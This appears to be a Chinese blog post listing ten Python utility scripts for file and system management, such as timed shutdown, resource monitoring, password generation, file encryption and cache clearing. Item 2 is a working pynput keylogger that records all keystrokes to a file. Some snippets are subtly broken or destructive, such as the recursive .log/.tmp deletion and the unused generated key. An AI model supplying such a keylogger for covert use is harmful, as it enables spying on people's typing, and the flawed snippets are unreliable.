Python写的实用小脚本(10个案例)——文件与系统管理

一、背景介绍

用Python写的脚本具有很强的实用性,能够显著提升工作效率和处理日常任务的能力,以下是文件与系统方面的一些脚本案例,供大家参考。

二、具体案例

1. 定时关机

import os
import time
time.sleep(3600)  # 1小时后关机
os.system("shutdown /s /t 1")

2. 键盘记录器(慎用!)

from pynput import keyboard

def on_press(key):
    with open('keystrokes.txt', 'a') as f:
        f.write(f'{key} ')

listener = keyboard.Listener(on_press=on_press)
listener.start()
listener.join()

3. 清理临时文件

import os

def clean_temp(extensions=['.tmp', '.log']):
    for root, _, files in os.walk(""):
        for file in files:
            if any(file.endswith(ext) for ext in extensions):
                os.remove(os.path.join(root, file))

clean_temp()
print("清理完成")

4. 磁盘空间检查

import psutil

def check_disk_usage(path):
    disk = psutil.disk_usage(path)
    return {
        "total": disk.total // (2**30),  # GB
        "used": disk.used // (2**30),
        "free": disk.free // (2**30)
    }
print(check_disk_usage("/"))

5. 系统信息收集

import platform

def get_system_info():
    print(f'"OS": {platform.system()}')
    print(f'"Version": {platform.version()}')
    print(f'"Machine": {platform.machine()}')
    print(f'"Processor": {platform.processor()}')
get_system_info()

6. 系统资源监控

import psutil
import time

def system_monitor():
    for i in range(10):
        cpu_percent = psutil.cpu_percent()
        mem = psutil.virtual_memory()
        print(f"CPU: {cpu_percent}% | MEM: {mem.percent}%")
        time.sleep(1)
system_monitor()

7. 系统进程查看

import psutil

def monitor_processes():
    for proc in psutil.process_iter(['pid', 'name', 'cpu_percent']):
        print(f"PID: {proc.info['pid']}, Name: {proc.info['name']}, "
              f"CPU: {proc.info['cpu_percent']}%")
monitor_processes()

8. 生成随机密码

import secrets
import string
def generate_password(length=12):
    chars = string.ascii_letters + string.digits + "!@#$%^&*"
    return ''.join(secrets.choice(chars) for _ in range(length))

print(generate_password())

9. 文件加密解密

from cryptography.fernet import Fernet

# 生成密钥
key = Fernet.generate_key()
print(key)

# 加密函数
def encrypt_file(file_path, key):
    f = Fernet(key)
    with open(file_path, 'rb') as file:
        file_data = file.read()
    encrypted_data = f.encrypt(file_data)
    with open(file_path + '.encrypted', 'wb') as file:
        file.write(encrypted_data)
encrypt_file('file.txt', 'Me0mdiTBkNadqhTCJHV2uzSqmoAvpu8UXCDHkfRZvrg=')
print('加密完成')

# 解密函数
def decrypt_file(file_path, key):
    f = Fernet(key)
    with open(file_path, 'rb') as file:
        encrypted_data = file.read()
    decrypted_data = f.decrypt(encrypted_data)
    with open(file_path[:-10], 'wb') as file:
        file.write(decrypted_data)
decrypt_file('file.txt.encrypted', 'Me0mdiTBkNadqhTCJHV2uzSqmoAvpu8UXCDHkfRZvrg=')
print('解密完成')

10. 清理系统缓存

以下是一个跨平台的Python脚本,用于清理系统缓存。请注意,该脚本需要管理员/root权限。

import os
import platform
import subprocess
import ctypes
import sys


def clear_cache():
    system = platform.system()

    try:
        if system == 'Linux':
            # 清理页面缓存、目录项和inodes
            os.sync()
            with open('/proc/sys/vm/drop_caches', 'w') as f:
                f.write('3\n')
            print("Linux系统缓存已清理")

        elif system == 'Darwin':  # macOS
            # 使用purge命令清理内存缓存
            subprocess.run(['purge'], check=True, shell=True)
            print("macOS系统缓存已清理")

        elif system == 'Windows':
            # 方法1:使用ctypes调用系统API
            kernel32 = ctypes.windll.kernel32
            # 重置系统文件缓存
            kernel32.SetSystemFileCacheSize(-1, -1, 0)
            # 清理内存(需要SeIncreaseQuotaPrivilege权限)
            ctypes.windll.psapi.EmptyWorkingSet(ctypes.c_ulong(-1))
            print("Windows系统缓存已清理")

            # 方法2:使用第三方工具(需要提前下载)
            # subprocess.run(['EmptyStandbyList.exe', 'standbylist'], check=True)

        else:
            print(f"暂不支持 {system} 系统的缓存清理")

    except PermissionError:
        print("错误:需要管理员权限!请使用sudo(Linux/macOS)或以管理员身份运行(Windows)")
    except Exception as e:
        print(f"清理缓存时出错:{str(e)}")


if __name__ == '__main__':
    # 检查Windows管理员权限
    if platform.system() == 'Windows':
        if ctypes.windll.shell32.IsUserAnAdmin() == 0:
            print("请以管理员身份运行此脚本")
            sys.exit(1)

    clear_cache()

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

穿梭的编织者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值